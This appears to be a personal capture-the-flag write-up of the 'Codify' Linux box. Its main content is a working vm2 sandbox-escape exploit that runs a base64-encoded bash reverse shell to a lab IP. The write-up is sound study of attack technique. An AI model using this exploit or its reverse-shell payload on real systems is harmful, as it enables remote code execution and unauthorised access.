Codify (Linux)

This was a really fun box.

What did new things did I learn/use:

REMEBER THE BASH PITFALLS. THIS WILL BE USEFUL IM SURE OF IT.
Bash scripting is powerful but can be error-prone due to its nuanced syntax and behavior. Even seasoned developers can fall into these traps, leading to scripts that fail in unexpected ways. By studying these pitfalls, you can write scripts that are more reliable and maintainable.
https://mywiki.wooledge.org/BashPitfalls

This sandbox escape from the web challenge was really fun and I was able to build the reverse shell payload very easily after I found the PoC from exploit-db.

```
const { VM } = require("vm2");
const vm = new VM();

const command = 'echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuOS85MDAxICAwPiYxICsK | base64
-d | bash' ; //This is the bash command payload that is being injected to get a reverse
shell.

const code = `
async function fn() {
    (function stack() {
        new Error().stack;
        stack();
    })();
}

try {
    const handler = {
        getPrototypeOf(target) {
            (function stack() {
                new Error().stack;
                stack();
            })();
        }
    };

    const proxiedErr = new Proxy({}, handler);

    throw proxiedErr;
} catch ({ constructor: c }) {
    const childProcess = c.constructor('return process')
().mainModule.require('child_process');
    childProcess.execSync('${command}');
}
`;

console.log(vm.run(code));
```

This is the first web challenge where I actually enumerated through the web directories of the web app. I was able to get a user's password this hash this way. I used ps to find where the web directories were being stored.